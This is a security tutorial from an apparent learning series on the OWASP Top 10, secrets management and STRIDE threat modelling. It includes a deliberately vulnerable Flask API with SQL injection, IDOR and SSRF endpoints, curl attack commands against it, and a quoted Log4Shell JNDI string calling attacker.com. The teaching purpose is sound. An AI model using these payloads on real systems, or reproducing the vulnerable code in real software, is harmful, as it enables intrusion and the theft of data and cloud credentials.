Search Tech Journey

Find topics, journeys and posts

6-month learning plan83 / 130
back to blog
systemsintermediate 55m read

S083 · OWASP Top 10, Secrets Mgmt & Threat Modelling

The security bugs everyone ships (and the ones attackers exploit) — walk the OWASP Top 10 for 2021, wire up a real secrets manager, and threat-model a service in 30 minutes.

🔒SecurityM10 · Security· Session 083 of 130 90 min

🎯 Recognise the ten most common security bugs, store secrets somewhere other than .env, and do a lightweight STRIDE threat model on a real service in under 30 minutes.

Why this session exists

Ninety percent of breaches you'll read about in the news are on this list — the OWASP Top 10 hasn't reshuffled dramatically in a decade, and yet the same bugs keep shipping. You do not need to be a security researcher to prevent them. You need a checklist you actually run before every merge, a secrets story that isn't "we put it in a .env file and hope," and a threat-modelling habit that takes 30 minutes and catches problems before they ship. This session gives you all three.

You will be able to
  • Recite the 2021 OWASP Top 10 categories and give one real-world example of each.
  • Distinguish authentication vs authorization failures, and design against both.
  • Store secrets in a real manager (Vault / AWS Secrets Manager / Doppler) instead of .env.
  • Run a STRIDE threat model on any service diagram in under 30 minutes.
  • Wire up dependency scanning (Dependabot, Snyk, Trivy) into CI and interpret the noise.

Prerequisites

  • S055 · HTTP fundamentals — you know how requests/responses work.
  • S081 · Authentication vs authorization — you understand identity vs permission.
  • S082 · TLS & PKI — you know how the transport layer is secured.


(a) Intuition · 5 min

OWASP is the fire code, not the fire department
🌍 Real world

A building inspector shows up with a checklist: are the exits unlocked? Is the sprinkler system pressurised? Are the fire extinguishers where they're supposed to be? They don't fight fires; they prevent them by refusing to let you occupy a building that would burn down.

Fire codes are boring, they're written after tragedies, and every item on the list is there because a specific building killed a specific number of people. Follow them and 90 % of fires never happen.

💻 Code world

OWASP Top 10 is your fire code. It's the ten categories that cause 90 % of breaches, in order of prevalence, updated every 3-4 years based on real-world data from thousands of companies. Every item is there because a specific breach happened to a specific company — Equifax, Capital One, SolarWinds, T-Mobile.

You don't need to be a security researcher. You need to run the checklist before every merge and refuse to ship code that would burn down.

The two truths about application security

Internalise these before we walk the list
  • The same 10 bugs cause almost all breaches. Complex attacks make the news; boring bugs cause the incidents. Injection has been in the top 3 since 2003.
  • Security is a property of the whole system, not of any one line of code. A perfectly written login flow can still be compromised by a leaked API key, an over-privileged IAM role, or a vulnerable dependency.

A brief history of ‘getting owned’

  1. 1988
    Morris Worm
    First internet-scale worm. Exploited a buffer overflow in fingerd. Took down 10 % of the ARPANET. Software security is born.
  2. 2003
    OWASP Top 10 v1
    First list published. Unvalidated input was #1. Injection still ranks in the top 3 twenty years later.
  3. 2013
    Target breach
    40M cards stolen via an HVAC vendor's compromised credentials. Supply-chain / third-party risk becomes a boardroom topic.
  4. 2017
    Equifax breach
    147M records leaked via an unpatched Apache Struts vulnerability. Dependency management stops being optional.
  5. 2020
    SolarWinds
    Nation-state supply-chain attack — malicious update signed with a real certificate hit 18,000 orgs. Every ‘trusted vendor’ became a threat model.
  6. 2021
    Log4Shell (CVE-2021-44228)
    One JNDI lookup string, RCE on billions of Java servers. Weekend from hell for every SRE on the planet.
  7. 2021
    OWASP Top 10 v4
    Reshuffle: Broken Access Control jumps to #1 (was #5). Cryptographic Failures at #2. Injection drops to #3.

(b) Visual walkthrough · 15 min

The 2021 OWASP Top 10 — in one diagram

Each category, one sentence + one example

The Top 10, expanded

A01 · Broken Access Control
User can access data or actions they shouldn't. Example: changing /account/42 to /account/43 in the URL and seeing someone else's profile (IDOR).
94% of apps
A02 · Cryptographic Failures
Sensitive data in transit or at rest isn't properly encrypted. Example: passwords stored as MD5, or TLS 1.0 enabled on public endpoints.
PII
A03 · Injection
Untrusted input becomes code. Example: SQL injection via string-concatenated queries, XSS via unescaped HTML, command injection via subprocess with user input.
XSS + SQLi
A04 · Insecure Design
The design itself is flawed — no rate limit on password reset, no idempotency key on payments. Cannot be fixed by patching code; requires redesign.
architecture
A05 · Security Misconfiguration
S3 bucket public, admin console on the internet, default admin/admin password. The Capital One breach was a misconfigured WAF + over-privileged IAM.
defaults
A06 · Vulnerable Components
A dependency has a known CVE and you didn't upgrade. Log4Shell, Struts (Equifax), event-stream npm hijack.
supply chain
A07 · Identification & Auth Failures
Weak passwords, no MFA, session fixation, JWT algorithm confusion. LinkedIn 2012: 117M passwords leaked as unsalted SHA-1.
auth
A08 · Software & Data Integrity Failures
You trust code or updates that could be tampered with. SolarWinds is the textbook case. No CI signature verification.
supply chain
A09 · Logging & Monitoring Failures
The breach happened; nobody noticed for months. Median time-to-detect a breach was 207 days in 2022 (IBM report).
detection
A10 · SSRF (Server-Side Request Forgery)
Your server fetches a URL user-controlled. Attacker points it at 169.254.169.254 (AWS metadata endpoint) and grabs IAM creds. This is how Capital One 2019 happened.
cloud

Threat modelling with STRIDE — the 30-minute version

11
Draw the system

Boxes = services/data stores. Arrows = data flows. Mark trust boundaries (public internet, VPC, k8s namespace).

22
For each arrow + box, ask the 6 STRIDE questions

‘Can an attacker Spoof / Tamper / Repudiate / Info-disclose / DoS / EoP against this?’ Write findings in a spreadsheet.

33
Rank by risk

Risk = likelihood × impact. Focus on high/critical; medium can go in the backlog; low is noted but ignored.

44
Mitigate + document

Each finding gets a mitigation (or a documented accepted risk). Re-run STRIDE after major architecture changes.

Secrets management — three tiers

Bad: .env in the repo

This is how leaks happen

  • Secrets in Git history forever (rewrite ≠ deletion — check GitHub secret scanning).
  • No rotation, no audit log, no revocation.
  • Anyone with repo access has prod credentials.
  • One leaked laptop = full breach.
  • Real cost: $4.35M avg breach in 2022 (IBM).
Better: env vars via CI

GitHub Actions secrets, Vercel env vars

  • Secrets injected at deploy time.
  • Not in repo, but in the CI platform.
  • Rotation still manual.
  • Audit log is CI's log — okay.
  • Fine for small apps. Not enough for regulated industries.
Good: real secrets manager

Vault, AWS Secrets Manager, Doppler, Infisical

  • Secrets fetched at runtime via short-lived tokens.
  • Automatic rotation (DB passwords, API keys).
  • Fine-grained access policy per service.
  • Full audit log of every read.
  • Dynamic secrets — each pod gets a unique DB user that dies with the pod.

Common misconception
✗ What most people think

"I sanitise user input — I strip quotes, escape angle brackets, and reject suspicious strings at the API boundary. If nothing dangerous gets in, nothing dangerous can happen downstream."

✓ What is actually true

Input sanitisation is the wrong primitive. Injection is not caused by dangerous input; it is caused by data being parsed as code by some interpreter downstream. The fix is context-correct output encoding or, better, never concatenating data into a grammar at all — parameterised queries for SQL, textContent for the DOM, argument arrays for shell. A single global sanitiser cannot be correct, because the escaping rules for SQL, HTML attributes, HTML text, JavaScript, URLs, LDAP, and shell are mutually incompatible.

Why the myth is so sticky

The myth is sticky because it works the first time you try it. Blocking ' really does stop the textbook ' OR 1=1-- payload, so you get positive feedback and generalise. But you generalised from a blocklist, and blocklists fail for the same reason spam filters do: the attacker enumerates encodings you didn't think of — Unicode homoglyphs, double URL-encoding, alternate charsets, second-order injection where the payload is stored clean and only becomes dangerous when later concatenated into a different context. Meanwhile the sanitiser corrupts legitimate data: every developer named O'Brien has met this bug.

Prove it to yourself

Prove the interpreter is the boundary, not the input. Same "dangerous" string, two code paths:

name = "Robert'); DROP TABLE students;--"

# concatenation: the DB parses your data as SQL grammar
cur.execute("SELECT * FROM students WHERE name = '" + name + "'")

# parameterised: driver sends query and data on separate channels
cur.execute("SELECT * FROM students WHERE name = %s", (name,))
# the second is safe with ZERO sanitisation -- the string was
# never eligible to be grammar in the first place
From first principles
Start with the question

Why is broken access control consistently at or near the top of the OWASP Top 10, above exotic memory and crypto bugs? It sounds like the least sophisticated category on the list. That is exactly why.

  1. 1
    Vulnerability classes with a fixed, mechanical shape can be eliminated by tooling. SQL injection is a grammar problem, so a parameterising driver removes it; XSS is an encoding problem, so an auto-escaping template engine removes it by default.
    forced by · a defect with a syntactic signature can be found by a scanner or prevented by an API that has no unsafe form
  2. 2
    Access control has no syntactic signature. SELECT * FROM documents WHERE id = ? is a perfectly correct, parameterised, lint-clean query. Whether it is a vulnerability depends entirely on business intent that exists nowhere in the code.
    forced by · correctness is defined by a policy external to the program, not by the program's own structure
  3. 3
    Therefore no static analyser, dependency scanner, or WAF can find it. It requires a human who knows who is supposed to see that row — and that knowledge lives in a product spec, not a type system.
    forced by · tools can only check invariants that are expressible in the artefact they analyse
  4. 4
    Worse, the failure is silent and returns HTTP 200. There is no exception, no log line, no crash, no failing test — because the test suite was written by someone querying their own data.
    forced by · the code did exactly what it was told; the instruction itself was incomplete
  5. 5
    And the check must be repeated at every access path — REST endpoint, GraphQL resolver, batch job, admin tool, export, cache warmer, new microservice. Every new path is a fresh chance to forget, and the surface grows monotonically with the codebase.
    forced by · authorization is a per-access-site obligation, and obligations that must be re-satisfied everywhere are eventually missed somewhere
⇒ Therefore

Therefore broken access control tops the list not because it is hard to understand, but because it is the one class that is invisible to automation, silent in production, and re-introduced by every feature you ship.

And note what this predicts: the only durable fix must be structural rather than vigilance-based — push ownership into the data layer (row-level security, a repository that physically cannot construct a query without a tenant predicate, deny-by-default policy middleware) so that forgetting produces an error instead of a leak. Any defence whose mechanism is "developers will remember" scales exactly as well as human attention, which is to say: not at all.

Mental modelEvery boundary is a parser, and every parser is a trust decision

Draw your system as a set of interpreters: the SQL engine, the browser's HTML parser, the shell, the YAML/XML/JSON deserialiser, the template renderer, the OS path resolver. Data flows between them. A vulnerability is simply data crossing into one of those interpreters in a position where it can be read as instructions instead of content.

Once you see it this way, the Top 10 collapses into three questions at every arrow: Who are you? (authn) · May you do this to this object? (authz) · Is this data being parsed by something? (injection, deserialisation, SSRF, path traversal). Nearly every entry on the list is one of those three, wearing a different hat.

  • Never build a sentence in another language by concatenation. Use the API that separates code from data — parameters, argument arrays, DOM text nodes.
  • Encode at the point of output, in the context of the destination. The same string needs different escaping in HTML text, an HTML attribute, a URL, and a JS string.
  • Deny by default and enforce ownership in the data layer, so forgetting a check fails closed rather than open.
  • Secure defaults over developer discipline: auto-escaping templates, ORMs that cannot concatenate, allowlists for outbound URLs (SSRF), and dependency scanning in CI — because vulnerable components are inherited, not written.
🔔 Fires when you see

Fire this the moment you see: string concatenation building SQL, HTML, a shell command, or a file path · innerHTML or dangerouslySetInnerHTML · pickle.loads / yaml.load on untrusted bytes · a server-side fetch of a user-supplied URL · a sequential ID in a route · a "sanitise everything at the edge" middleware · error responses that leak stack traces or distinguish "wrong password" from "no such user".

The tradeoff

You have limited security budget for an existing production service. Do you deploy a WAF, invest in secure-by-default frameworks and code changes, or fund detection and response?

WAF / edge filtering
+ you gain deployable in days with no code changes, protects every endpoint including legacy ones you cannot safely modify, and gives you virtual patching — a real, immediate answer when a CVE drops and you cannot ship a fix today
− you pay it is pattern matching on a blocklist, so it is bypassable by encoding tricks and blind to access-control flaws entirely (a legitimate-looking request for someone else's object is indistinguishable from a valid one). It also produces false positives that break real users, and it creates a dangerous sense of completion.
pick when you have legacy code you cannot change quickly, or you need a stopgap between disclosure of a vulnerability and the deploy of a real fix
Secure-by-default frameworks and structural fixes
+ you gain eliminates entire vulnerability classes permanently rather than filtering instances — a parameterising ORM, an auto-escaping template engine, and tenant-scoped repositories mean the unsafe pattern no longer has an easy expression. Cost is paid once and protects all future code.
− you pay slowest to land, requires touching existing code, and buys nothing for the vulnerability that is being exploited today. Also cannot fix flaws in third-party dependencies you don't control.
pick when the codebase is under active development and will outlive the current quarter — which is the default case, and where the money should go
Detection and response
+ you gain the only option that assumes prevention will fail, which it will. Logging, anomaly detection on access patterns, and a rehearsed response process shrink the time between compromise and containment — usually the dominant term in total breach cost.
− you pay prevents nothing; requires sustained staffing rather than a one-time project; and generates alert volume that decays into noise without ongoing tuning
pick when you hold data whose exposure is materially damaging, and you already have basic prevention in place — this is the second investment, not the first
What a senior engineer actually does

Spend the primary budget on structural fixes, because they are the only ones that reduce the vulnerability count rather than the exploitation rate — and start with access control, since it is the class no tool will find for you. Use a WAF as a tactical instrument for virtual patching and legacy surface, never as a substitute, and be explicit with stakeholders that it does not cover the top OWASP category at all.

The genuinely senior framing: rank by your data and threat model, not by the published list order. A service handling per-tenant customer records should fund authorization hardening and detection long before it worries about exotic injection paths. The Top 10 is a checklist of shapes to recognise, not a prioritised roadmap for your particular system.


(c) Hands-on · 25 min

We're going to build a tiny vulnerable API, exploit it three ways, then fix it. Then wire in secrets from a manager instead of hard-coding.

# vuln_api.py — DELIBERATELY vulnerable. Never run on a public port.
# Educational only. All fixes shown in comments.
from flask import Flask, request, jsonify, g
import sqlite3, os, subprocess, requests
 
app = Flask(__name__)
DB = "app.db"
 
# --- setup: create a tiny DB with 2 users ---
def init_db():
    conn = sqlite3.connect(DB)
    conn.executescript("""
      DROP TABLE IF EXISTS users;
      CREATE TABLE users (id INT, name TEXT, email TEXT, is_admin INT);
      INSERT INTO users VALUES
        (1, 'alice', 'alice@example.com', 0),
        (2, 'bob',   'bob@example.com',   1);
    """)
    conn.commit(); conn.close()
 
def db():
    if "db" not in g:
        g.db = sqlite3.connect(DB); g.db.row_factory = sqlite3.Row
    return g.db
 
# ================================================================
# A03 — SQL INJECTION (deliberately vulnerable)
# ================================================================
@app.get("/user_bad")
def user_bad():
    name = request.args.get("name", "")
    # ❌ String concatenation → SQLi.
    # Attack: /user_bad?name=' OR 1=1 --
    q = f"SELECT id, name, email FROM users WHERE name = '{name}'"
    rows = db().execute(q).fetchall()
    return jsonify([dict(r) for r in rows])
 
@app.get("/user_good")
def user_good():
    name = request.args.get("name", "")
    # ✅ Parameterised query — driver escapes for us.
    q = "SELECT id, name, email FROM users WHERE name = ?"
    rows = db().execute(q, (name,)).fetchall()
    return jsonify([dict(r) for r in rows])
 
# ================================================================
# A01 — BROKEN ACCESS CONTROL (IDOR)
# ================================================================
@app.get("/account/<int:uid>")
def account_bad(uid):
    # ❌ No check that current user == uid. Attacker guesses IDs.
    row = db().execute("SELECT * FROM users WHERE id = ?", (uid,)).fetchone()
    return jsonify(dict(row)) if row else ("not found", 404)
 
@app.get("/account_good/<int:uid>")
def account_good(uid):
    # ✅ Compare uid against authenticated identity (from JWT / session).
    current_uid = int(request.headers.get("X-User-Id", "0"))  # simplified
    if current_uid != uid:
        return ("forbidden", 403)
    row = db().execute("SELECT * FROM users WHERE id = ?", (uid,)).fetchone()
    return jsonify(dict(row)) if row else ("not found", 404)
 
# ================================================================
# A10 — SSRF
# ================================================================
@app.get("/fetch")
def fetch_bad():
    url = request.args.get("url", "")
    # ❌ Attacker points url at 169.254.169.254 → steals cloud metadata.
    r = requests.get(url, timeout=5)
    return r.text[:500]
 
# ✅ Fix: allowlist domains, or resolve DNS and reject private ranges,
#    or use an outbound proxy that enforces the allowlist.
 
# ================================================================
# A02 — SECRETS: bad vs good
# ================================================================
# ❌ Hard-coded — will end up in Git.
API_KEY_BAD = "sk_live_51H8xVjKk7ZQ1mA2X_never_do_this"
 
# ✅ From environment (better) — for real apps, fetch from Vault at startup.
API_KEY = os.environ.get("PAYMENTS_API_KEY", "not-set")
 
@app.get("/health")
def health():
    return jsonify(ok=True, api_key_loaded=(API_KEY != "not-set"))
 
if __name__ == "__main__":
    init_db()
    # Bind to localhost ONLY — this app is vulnerable by design.
    app.run(host="127.0.0.1", port=5000, debug=False)

Save this as vuln_api.py, then in another terminal:

# Terminal 2 — the attacker
BASE=http://127.0.0.1:5000
 
# A03 · SQL injection — leak all users
curl -s "$BASE/user_bad?name=' OR 1=1 --"
 
# Same attack on the good endpoint — returns []
curl -s "$BASE/user_good?name=' OR 1=1 --"
 
# A01 · IDOR — read Bob's admin account as anyone
curl -s "$BASE/account/2"          # ❌ works, no auth
curl -s "$BASE/account_good/2"     # ✅ 403 without X-User-Id: 2 header
curl -s -H "X-User-Id: 1" "$BASE/account_good/2"   # ✅ still 403, different user
 
# A10 · SSRF — attempt to fetch AWS metadata (won't work locally, but you get the idea)
curl -s "$BASE/fetch?url=http://169.254.169.254/latest/meta-data/"

What each block does

Anatomy of the vuln + fix pairs

SQLi · bad
f-string builds SQL by concatenation. Input closes the quote (') and adds OR 1=1 → matches every row. The -- comments out the rest.
A03
SQLi · good
The ? placeholder tells the sqlite3 driver to bind the value safely. The driver escapes it based on the database's rules. Same fix applies to psycopg2, mysql-connector, ORMs.
A03
IDOR · bad
No check that the authenticated user owns resource uid. Attacker enumerates IDs (1, 2, 3, …) and reads everyone's data. Sequential IDs make this worse — UUIDs help but are NOT a security control.
A01
IDOR · good
Compares the URL param against the authenticated user's ID. For admin-only endpoints, add a role check on top. Middleware > per-route checks (harder to forget).
A01
SSRF · bad
Fetches any URL user provides. Cloud VMs have a magic 169.254.169.254 that returns IAM credentials. This is exactly the Capital One 2019 breach path.
A10
Secrets · bad
String literal in code. Ends up in Git. GitHub secret scanning WILL find it and email you within minutes — but by then attackers already have it.
A02
Secrets · good
os.environ pulls from env vars, injected at deploy time from a manager. Rotation is a config change, not a redeploy.
A02
Try itAdd rate limiting to the login endpoint — the missing A04 fix

Add a /login endpoint that accepts {username, password}, then add a rate limit of 5 attempts per minute per IP. Test it with a bash loop:

for i in $(seq 1 10); do
  curl -s -X POST -d '{"u":"alice","p":"guess"}' -H "Content-Type: application/json" "$BASE/login"
done

The first 5 should return 401 unauthorized, the next 5 should return 429 too many requests. That's how you prevent credential stuffing without adding a CAPTCHA everywhere.

💡 Hint · Use flask-limiter or a simple in-memory dict keyed by IP. The design flaw is having no rate limit at all — attackers try 10,000 passwords per second otherwise.

(d) Production reality · 15 min

War story Equifax · 2017-09-07· 2017147M records · $1.4B in fines and remediation
🔥 What broke

Attackers exploited CVE-2017-5638, a known Apache Struts vulnerability, on Equifax's public dispute portal. The CVE was published in March 2017 with a patch available the same day. Equifax's team was notified internally on 8 March. The unpatched server was breached on 13 May and the attackers had free run for 76 days before detection.

The attack was maximally boring: unpatched dependency (A06), no network segmentation (A05), and log volume overwhelmed the monitoring system (A09).

🧯 The fix
Equifax rebuilt their entire vulnerability management program: automated CVE scanning, a 48-hour SLA for critical patches, real network segmentation, and a proper SIEM. The CEO, CIO, and CSO all lost their jobs.
🎓 Lesson to steal
Dependency scanning is not optional. Every service you own needs Dependabot/Snyk/Trivy in CI and a documented patch SLA. Every dependency you add is a future CVE with your name on it.
Post-mortem
War story Capital One · 2019-07-19· 2019106M records · $80M fine
🔥 What broke

A former AWS engineer exploited an SSRF vulnerability in Capital One's web application firewall (WAF). The WAF ran on EC2 with an over-privileged IAM role. The attacker used the WAF to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/, got temporary IAM credentials, and used them to list and download S3 buckets containing customer data.

Two OWASP items at once: A10 (SSRF) + A05 (misconfigured IAM — the role had s3:List* across all buckets).

🧯 The fix
Rotated IAM credentials, tightened S3 bucket policies, and moved to IMDSv2 (which requires a token header, breaking naive SSRF exploits). Capital One paid $80M to the OCC and settled with 98M customers for $190M.
🎓 Lesson to steal
Never let a service fetch arbitrary URLs. If you must, allowlist domains, block private IPs (169.254.0.0/16, 10.0.0.0/8, 127.0.0.0/8, ::1), and use IMDSv2 on AWS. Combine with least-privilege IAM so the blast radius of any compromise is minimal.
Post-mortem
War story Log4Shell · CVE-2021-44228 · 2021-12-09· 2021Billions of Java servers · every SRE's worst weekend
🔥 What broke

Apache Log4j 2.x had a JNDI lookup feature that would resolve strings like ${'{'}jndi:ldap://attacker.com/x{'}'} in logged messages by fetching Java class files from a remote LDAP server. Any string a user could get into a log line (User-Agent, form field, chat message) became remote code execution.

The bug had been in the code since 2013. Log4j is in ~7 % of all Java projects on Maven, transitively — meaning tens of thousands of enterprise products.

🧯 The fix

Two weeks of round-the-clock upgrades to Log4j 2.17.1. Emergency WAF rules to strip ${'{'}jndi:{'}'} patterns from every request. SBOMs (software bills of materials) went from niche compliance tool to industry requirement.

🎓 Lesson to steal
You cannot secure what you cannot inventory. Generate an SBOM for every service (Syft, Grype, Trivy) and store it. When the next Log4Shell drops, you want to know in 30 minutes which services are affected, not in 30 days.
Post-mortem

The checklist that actually catches things in code review

Where this shows up in the rest of the plan

OWASP + secrets + threat modelling permeate the plan
S082 · TLS & PKI
A02 (crypto failures) mitigations — enforce TLS 1.2+, valid certs, HSTS.
S055 · HTTP fundamentals
Understand headers (HSTS, CSP, X-Frame-Options) that mitigate several Top 10 items.
S077 · Observability
A09 (logging/monitoring failures) is a first-class SRE concern — audit log, anomaly detection.
S108 · IAM / least privilege
The core mitigation for A01 and A05 in cloud environments.
S110 · Supply chain security
SBOMs, dependency signing, reproducible builds — mitigations for A06 and A08.
S123 · System design · payments
Threat modelling on a real system where money moves and everything is regulated.

(e) Recall + stretch · 10 min

Recall — click each to reveal · click to reveal
★ = stretch question

Explain-out-loud test

If you can't teach these three without notes, redo the session:

  1. What are the top 3 OWASP categories, in order? (and one example of each)
  2. Where should you store a secret if not in .env? (and why)
  3. What's STRIDE, and when do you do a threat model? (short version — you should do it whenever architecture changes materially)

What comes next

Hub: The 6-Month Learning Plan


Part of a 130-session evergreen learning series. Session structure: intuition → visual → hands-on → production war stories → recall. Duration: 90 minutes.